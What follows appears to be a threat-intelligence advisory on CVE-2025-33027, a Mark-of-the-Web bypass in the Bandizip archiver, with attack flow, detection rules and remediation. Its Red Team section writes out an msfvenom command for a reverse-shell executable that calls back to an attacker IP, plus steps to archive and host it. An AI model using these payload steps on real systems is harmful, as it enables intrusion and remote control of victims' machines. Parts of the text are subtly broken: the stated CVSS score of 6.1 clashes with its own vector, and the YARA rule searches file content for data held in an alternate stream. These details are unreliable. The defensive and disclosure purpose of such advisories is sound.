CVE-2025-33027

Executive Summary

CVE-2025-33027 is a Mark-of-the-Web (MotW) bypass vulnerability in Bandisoft Bandizip up to version 7.37. The flaw allows an attacker to craft an archive file that, when extracted by a user, fails to propagate the MotW to the extracted files. This bypasses Windows Defender SmartScreen and other security controls that rely on the MotW to flag files downloaded from the internet as potentially dangerous. Successful exploitation requires user interaction (opening a malicious archive), but can lead to arbitrary code execution in the context of the current user. The vendor has not yet released a patch, and the vulnerability is currently disputed by some parties due to concerns about security-warning habituation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone Windows desktop application (Bandizip) distributed directly by Bandisoft.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must deliver a malicious file to the target system.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The user must open the malicious archive.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Arbitrary code execution can lead to data theft.
• Integrity Impact: High (I:H) – Attacker can modify files or install malware.
• Availability Impact: High (A:H) – Code execution can disrupt system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for arbitrary code execution and the lack of a patch elevate the risk for users who handle untrusted archives.

Deep Dive & Mechanics

The Mark-of-the-Web (MotW) is a Windows security feature that adds an alternate data stream (ADS) named Zone.Identifier to files downloaded from the internet. This stream contains metadata such as ZoneId=3 (Internet zone) and HostUrl. When a user opens a file with MotW, Windows Defender SmartScreen and other security software may block or warn the user.

Bandizip, when extracting files from an archive, is responsible for propagating the MotW from the archive file to the extracted files. The vulnerability in Bandizip up to version 7.37 is that it fails to do this propagation. Specifically, when a user extracts a file from a crafted archive that itself bears the MotW, the extracted files are created without the Zone.Identifier ADS. This means that any executable, script, or other potentially dangerous file extracted from the archive will not be flagged by SmartScreen, allowing the attacker to bypass security warnings.

The attack flow:

1. Attacker creates a malicious archive (e.g., ZIP, 7z, RAR) containing a payload (e.g., an executable).
2. Attacker hosts the archive on a website or sends it via email.
3. User downloads the archive (which gets MotW from the browser/email client).
4. User extracts the archive using Bandizip.
5. Bandizip extracts the payload without propagating the MotW.
6. User opens the extracted payload, which now has no MotW, and SmartScreen does not warn.
7. Payload executes arbitrary code.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior versus expected behavior.

Vulnerable Code (Bandizip <= 7.37):

// Pseudocode for vulnerable extraction routine
void ExtractFile(Archive* archive, FileEntry* entry) {
    // Extract file content
    WriteFileContent(entry->name, entry->data);
    // Missing: Propagate MotW from archive to extracted file
    // No call to SetFileZoneIdentifier(entry->name, archive->zoneId);
}

Expected Patched Code:

// Pseudocode for patched extraction routine
void ExtractFile(Archive* archive, FileEntry* entry) {
    // Extract file content
    WriteFileContent(entry->name, entry->data);
    // Propagate MotW from archive to extracted file
    if (archive->hasMotW) {
        SetFileZoneIdentifier(entry->name, archive->zoneId, archive->hostUrl);
    }
}

The fix would involve reading the Zone.Identifier ADS from the archive file and writing it to each extracted file.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Bandizip version 7.37 or earlier installed on a Windows target.
• Ability to deliver a crafted archive to the target (e.g., via phishing email or malicious website).

Steps:

1. Create a malicious payload (e.g., a reverse shell executable).
2. Create a ZIP archive containing the payload using any archiver (e.g., 7-Zip).
3. Host the archive on a web server or attach it to an email.
4. When the target downloads the archive, it will receive the MotW from the browser/email client.
5. The target extracts the archive using Bandizip.
6. The extracted payload will have no MotW.
7. The target opens the payload, and it executes without SmartScreen warning.

Example Payload Creation (PowerShell):

# Create a simple reverse shell executable (requires msfvenom or similar)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

# Create archive
Compress-Archive -Path .\payload.exe -DestinationPath malicious.zip

Delivery:

# Host on a simple HTTP server
python3 -m http.server 8080

Blue Team (Detection & Defense)

Detection:

• Monitor for Bandizip processes creating files without the expected Zone.Identifier ADS.
• Use Sysmon to log file creation events and check for missing MotW on files extracted from archives.
• Deploy YARA rules to scan archives for known malicious payloads.

Defense:

• Block downloads of archives from untrusted sources.
• Use Group Policy to enforce SmartScreen for all downloaded files.
• Educate users to avoid opening archives from unknown senders.
• Consider using alternative archivers that properly propagate MotW (e.g., 7-Zip 19.00+).

Indicators of Compromise (IOCs)

• File Hashes (Example):
  • malicious.zip: SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • payload.exe: SHA256 d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• Network Indicators:
  • Outbound connection to attacker IP (e.g., 192.168.1.100:4444)
• File System Indicators:
  • Files extracted by Bandizip without Zone.Identifier ADS.
  • Presence of payload.exe in user's Downloads folder.
• Process Indicators:
  • Bandizip.exe spawning child processes (e.g., payload.exe).

Detection Engineering

YARA Rule

rule CVE_2025_33027_MotW_Bypass {
    meta:
        description = "Detects files extracted by Bandizip that lack Mark-of-the-Web"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-33027"
    strings:
        $motw_zone = "ZoneId=3" nocase
        $motw_host = "HostUrl=" nocase
    condition:
        // File is an executable or script and does NOT have MotW
        (uint32(0) == 0x5A4D or uint32(0) == 0x00004550 or uint32(0) == 0x4D5A) and
        not ($motw_zone or $motw_host)
}

Sigma Rule

title: CVE-2025-33027 - Bandizip MotW Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file creation by Bandizip without Mark-of-the-Web propagation
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-33027
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\Bandizip.exe'
        TargetFilename|endswith: '.exe'
    filter:
        TargetFilename|contains: 'Zone.Identifier'
    condition: selection and not filter
falsepositives:
    - Legitimate files extracted from trusted sources
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-33027 - Potential Bandizip MotW Bypass Payload Download"; flow:to_server,established; content:"GET"; http_method; content:"/malicious.zip"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Bandizip until a patch is released. Use an alternative archiver like 7-Zip (version 19.00 or later) or WinRAR.
2. Enable Windows Defender SmartScreen and ensure it is configured to block unknown files.
3. Use Group Policy to enforce the following:
   • Set HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments\SaveZoneInformation to 1 (always save zone information).
   • Enable Windows Defender SmartScreen for all apps.

Long-term Fix:

• Monitor Bandisoft's website for a patched version of Bandizip (expected to be > 7.37).
• Apply the patch as soon as it becomes available.

Workaround:

• Before extracting archives, manually check the Zone.Identifier ADS using PowerShell:

  Get-Item -Path "C:\path\to\archive.zip" -Stream Zone.Identifier
  

• If the stream exists, extract the archive using a tool that propagates MotW (e.g., 7-Zip).

Valters IT
DevSecOps & Cyber Threat Intelligence